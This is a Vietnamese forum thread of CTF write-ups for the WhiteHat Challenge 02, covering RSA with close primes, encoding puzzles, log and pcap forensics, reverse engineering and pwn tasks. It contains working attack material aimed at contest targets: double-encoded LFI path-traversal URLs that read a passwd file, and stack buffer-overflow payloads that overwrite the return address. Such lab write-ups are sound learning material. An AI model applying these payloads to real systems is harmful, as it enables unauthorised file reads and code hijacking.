Tổng hợp Write-up cuộc thi An ninh mạng WhiteHat Challenge 02

sunny

VIP Members
30/06/2014
869
1.849 bài viết
Tổng hợp Write-up cuộc thi An ninh mạng WhiteHat Challenge 02
writeup2.jpg

WhiteHat Challenge 02 gồm 10 bài thi:

  1. For001
  2. For002
  3. Crypto001
  4. Crypto002
  5. Pwn001
  6. Re001
  7. Re002
  8. Re003
  9. Web001
  10. Web002
Mời các đội chơi chia sẻ đáp án các bài thi để các bạn thành viên tham khảo.

_______________
Bài viết liên quan:

 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: Sugi_b3o
Writeup WhiteHat Challenge02 - TEAM UITTKOX :)
Lưu ý:
Các challenge yêu cầu submit flag theo định dạng WhiteHat{sha1(flag)}
Các bạn có thể sử dụng công cụ online tại http://www.sha1-online.com/
Hoặc code script bằng một ngôn ngữ lập trình để sử dụng.

--------------------------------------------------------------------------------------------------------------------------------------------------------------

CRYPTO01:

Bài này ta thấy q và p là 2 số nguyên tố rất gần nhau, dung thuật toán Fermat factor để phân tích số n, thu được p, q.
Từ p, q tính phi(n) và d theo công thức.
Có d ta dễ dàng khôi phục được thông điệp ban đầu.
crypto1-png.1122

Ta thu được flag là: “close_primes_is_bad”


--------------------------------------------------------------------------------------------------------------------------------------------------------------

CRYPTO02:

Bài này khá đơn giản, thuật toán chỉ cơ bản là kết hợp giữa rot và base64. Không biết do cố tình hay cố ý mà charset base64 của tác giả bị thiếu 2 ký tự “/” và “=” nên trong quá trình decrypt có xảy ra một số lỗi. :D

Các ký tự được đưa vào sẽ được rot một khoảng nào đó từ 0 đến 63. Việc cần làm chỉ là brute từ 0 đến 63 sẽ có 1 trường hợp số đó trùng với key%64.

crypto2-png.1123



Thu được flag là “Caesar with base32 is exciting!”
--------------------------------------------------------------------------------------------------------------------------------------------------------------

WEB01
: Đây là một bài Javascript. View soucre -> F12 -> console để chạy js là done :)))
web1-png.1106


ez flag: WhiteHat{sha1(youaregod~~~~~~~!)}

--------------------------------------------------------------------------------------------------------------------------------------------------------------

WEB02: Bài này khó hơn xíu, nó thuộc loại LFI nhưng phải URL encode payload lại
b1: http://web02.wargame.whitehat.vn/index.php?type=..%252f..%252f
web2_1-png.1108

Xuất hiện đường dẫn lạ: /4HTzx6PGhDD/
tiếp tục đưa nó vào payload thôi:
b2: http://web02.wargame.whitehat.vn/index.php?type=..%252f..%252f4HTzx6PGhDD/passwd
web2_2-png.1109

ez flag: WhiteHat{sha1(Dot-Dot-Slash)}

--------------------------------------------------------------------------------------------------------------------------------------------------------------

FOR01: Mở file access_log lên ta thấy

for1_1-png.1110

IP 192.168.1.1 có rất nhiều request lạ -> 192.168.1.1 là attacker
Tiến hành đếm số request: Thực hiện lệnh: cat access.log | grep "192.168.1.1 - -" > reqeuest.txt.
Mở file request.txt lên
for1_2-png.1111

có tất cả 41326 request
Flag WhiteHat{sha1(192.168.1.1;41326)}

--------------------------------------------------------------------------------------------------------------------------------------------------------------

FOR02: Dùng wireshark để mở file pcap sử dụng lệnh tcp.stream eq [number] để filter các gói tin tcp
tcp.stream eq 2
for2_1-png.1112

tcp.stream eq 4
for2_2-png.1113

Ta thấy xuất hiện file Flag.zip và nhiều tập tin Secret.docx, tiến hành extract các tập tin này:
File -> Export Objects -> HTTP
for2_3-png.1114

Lưu lại 2 file trên. Muốn ở Flag.zip phải cần password, ta tìm password trong file Secret.docx
for2_4-png.1115

Tác giả đã dùng chữ màu trắng để giấu pass
Sử dụng password trên giải nén file Flag.zip ta được một file hình goku.jpg
for2_5-png.1116

strings goku.jpg | grep flag ta được thứ cần tìm.
Flag: WhiteHat{sha1(Simple_Network_Forensic)}

--------------------------------------------------------------------------------------------------------------------------------------------------------------

PWN01
:

Bài này có 2 cách, mình sẽ trình bày 1 cách theo hướng có lẽ là ý đồ của btc.
Nhìn vào thì thấy ngay bug ở chỗ hàm srand vì nó thực sự không random. Mình sẽ lấy thời gian y hệt của code và random lại là sẽ chắc chắn win.
Đọc code thấy sleep 3 giây rồi tiến hành srand time(0), mình sẽ làm y hệt
code:
Mã:
#include <stdio.h>
#include <time.h>

int main()
{
        unsigned int v3,x,j;
        sleep(3u);
        v3 = time(0);
        srand(v3);
        for ( j = 0; j <= 2; ++j)
        {
                x = rand() % 100 + 1;
                printf("%d\n",x);
        }
}
sau đó:
joker@Kiva:~/Downloads/main/whitehatchallenge02/Pwn001$ gcc pwn.c ; ./a.out | ./guessing

-------- Guessing Game --------
You must guess 3 random number in range 1-100 to win the game!
Let's start...
Round 1: Round 2: Round 3: Congrast! You win the game Flag....

Bài này còn bị một lỗi nữa là Buffer Overflow, đây là một bug khá cơ bản cho người mới bắt đầu tìm hiểu về exploit
Các bạn có thể tham khảo thêm trong:
Nghệ thuật tận dụng lỗi phần mềm - Nguyễn Thành Nam
Hacking The Art of Exploition - Jon Erickson
Sau đây là cách giải thứ 2:
pwn01-png.1124


Nếu ở bất cứ round nào bạn nhập một chuỗi đủ dài thì chương trình sẽ gặp lỗi Segmentation fault.
Vậy lỗi này là do đâu , để ý vào bài ta thấy, thay vì scanf 1 số dùng %d như bình thường tác giả lại sử dụng %s và atoi hơn nữa không kiểm tra input , do đó chương trình sẽ bị overflow trên stack

pwn01_2-png.1125


Để giải mấy bài dạng này, các bạn phải tiến hành debug tính offset từ biến bị overflow tới giá trị chương trình ret về là bao nhiêu.
Ở đây offset =16
Payload "A"*16+"B"*4 => EIP= 0x424242424 ("BBBB")

pwn01_3-png.1126


Lúc này để lấy flag ta có thể thay BBBB bằng địa chỉ của nhánh True trong câu lệnh if hoặc địa chỉ của hàm flag
Ở đây tôi trỏ tới hàm flag có địa chỉ 0x080487C5

pwn01_4-png.1127


Ta được flag
pwn01_5-png.1128

--------------------------------------------------------------------------------------------------------------------------------------------------------------

RE01:
re1_1-png.1117

Chương trình yêu cầu nhập vào một chuỗi 2 số thập lục phân cách nhau bởi dấu “-“

Nếu 2 số này có tích là 1000000016000000063 thì sẽ in ra flag , không sẽ trả về Invalid key

Để giải bài này ta cần factor số 1000000016000000063. Ở đây tôi sử dụng công cụ online https://factordb.com/

re1_2-png.1118

chuyển 2 số qua hex ta được chuỗi cần nhập 3b9aca07-3b9aca09
re1_3-png.1119


Flag WhiteHat{sha1(Difficulty of factoring a large integer yields good cryptosystems)}

--------------------------------------------------------------------------------------------------------------------------------------------------------------

RE02:
Chương trình này tiến hành tạo một chuỗi bằng một thuật toán

re2_1-png.1120

Sau đó so sánh chuỗi mình nhập vào với chuỗi đã tạo
Cách đơn giản nhất để giải bài này là đặt breakpoint đúng vị trí nó so sánh 2 chuỗi, Tìm chuỗi được so sánh trong thanh ghi.
Ở đây tôi đặt breakpoint tại 0x00401695 tiến hành debug chương trình.
re2_2-png.1121

Giá trị chuỗi chương trình sử dụng để so sánh có tại địa chỉ 0x0061F6D8 trên stack(như hình) -> Đây chính là chuỗi cần nhập.
Flag WhiteHat{sha1(1801351-0x123456789)}

--------------------------------------------------------------------------------------------------------------------------------------------------------------

RE03
:
Đây là một bài python bytecodes các bạn có thể tìm hiểu thêm tại:
http://unpyc.sourceforge.net/Opcodes.html
https://docs.python.org/2/library/dis.html
Bài này sử dụng thuật toán sàng nguyên tố để tìm các số nguyên tố nhỏ hơn 50
Sau đó lấy các phần tử của một mảng cho trước tại các vị trí nguyên tố này, có biến đổi đôi chút.
Dưới đây là phần mình đã dịch ngược lại, các bạn có thể tham khảo.
Mã:
n = 50
tmp_list = [True]*50
for i in xrange(3,int(pow(n,0.5))+1,2):
    if tmp_list[i]:
        tmp_list[i*i::2*i]=[False]*(((n-i*i-1)/(2*i))+1)
List = []
for i in xrange(3,50,2):
    if tmp_list[i]:
        List.append(i)
List = [2] + List
challenge = ['t','w','o','d','u','e','t','_','q','k','j','h','z','u','v','c','l','h','z','e','w','y','h','z','g','c','n','i','o','_','p','b','i','r','d','v','d','y','y','q','o','t','p','e','q','n','r','c','u','q']
flag = raw_input("Give me your flag: ")
flag = flag[-7:] + flag[:-7]
tmp_str = ''
for item in List:
    tmp_str += challenge[item]
if flag == tmp_str:
    print "Congratulation! Submit your flag"
else:
    print "Try your best, the rest will come"
Flag: WhiteHat{sha1(ez_bytecode_huh)}
 
Chỉnh sửa lần cuối:
Comment
Like cho bạn UIT ^^
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
For 001: Cách giải khác
grep "192.168.1.1s" | wc -l
Chú thích:
grep s : lệnh dùng để lọc để kết quả ra chính xác ip 192.168.1.1 loại trừ các trường hợp 192.168.1.10 & 192.168.1.123
wc -l : lệnh dùng để đếm kết hợp "-l" option đếm dòng
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: whf
Comment
Góp ý bài pwn001:
Bài này basic nên chúng ta có thể không cần debug vẫn tính được offset.

__isoc99_scanf("%s", &v10);

mà v10 nằm ở ebp-4
Như vậy khoảng cách từ v10 tới ebp là 4 bytes, nhưng trong trường hợp này hàm ta đang tính lại là main => có stack alignment => khoảng cách từ v10 tới ebp là 4+8 bytes = 12 bytes

Như vậy payload sẽ là:
Mã:
    FLAG = 0x080487C5
    payload = "A"*4 # ebp-0x4
    payload += "B"*8 # .text:08048640    and     esp, 0FFFFFFF0h (stack alignment)
    payload += "C"*4 # ebp
    payload += p32(FLAG) # return

Full exploit:
https://pastebin.com/gSWYNLSR

P/S: Mình khuyến khích các bạn nên tìm hiểu vì sao offset nó lại như thế thay vì debug rồi mà vẫn chưa hiểu vì sao nó lại như vậy.
P/S2: Các bạn không nên exploit 1 dòng bằng pipe, nên code exploit bằng file python hoặc ngôn ngữ lập trình nào đó.
P/S3: Các bạn nên viết payload có chú thích rõ ràng thì sẽ dễ hiểu, dễ sửa đổi thay vì send 1 cục rồi khi các bạn attack xong local rồi mà muốn attack server thì phải sửa lại rất nhiều, trong khi exploit sai 1 byte thôi là cũng có thể tạch rồi.
 
Chỉnh sửa lần cuối:
Comment
Góp ý bài pwn001:
Bài này basic nên chúng ta có thể không cần debug vẫn tính được offset.

__isoc99_scanf("%s", &v10);

mà v10 nằm ở ebp-4
Như vậy khoảng cách từ v10 tới ebp là 4 bytes, nhưng trong trường hợp này hàm ta đang tính lại là main => có stack alignment => khoảng cách từ v10 tới ebp là 4+8 bytes = 12 bytes

Như vậy payload sẽ là:
Mã:
    FLAG = 0x080487C5
    payload = "A"*4 # ebp-0x4
    payload += "B"*8 # .text:08048640    and     esp, 0FFFFFFF0h (stack alignment)
    payload += "C"*4 # ebp
    payload += p32(FLAG) # return

Full exploit:
https://pastebin.com/gSWYNLSR

P/S: Mình khuyến khích các bạn nên tìm hiểu vì sao offset nó lại như thế thay vì debug rồi mà vẫn chưa hiểu vì sao nó lại như vậy.
P/S2: Các bạn không nên exploit 1 dòng bằng pipe, nên code exploit bằng file python hoặc ngôn ngữ lập trình nào đó.
P/S3: Các bạn nên viết payload có chú thích rõ ràng thì sẽ dễ hiểu, dễ sửa đổi thay vì send 1 cục rồi khi các bạn attack xong local rồi mà muốn attack server thì phải sửa lại rất nhiều, trong khi exploit sai 1 byte thôi là cũng có thể tạch rồi.

Em phải đăng nhập để like cho bác :))
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: sunny
Comment
Thẻ
whitehat challenge whitehat challenge 02 writeup writeup challenge 02
Bên trên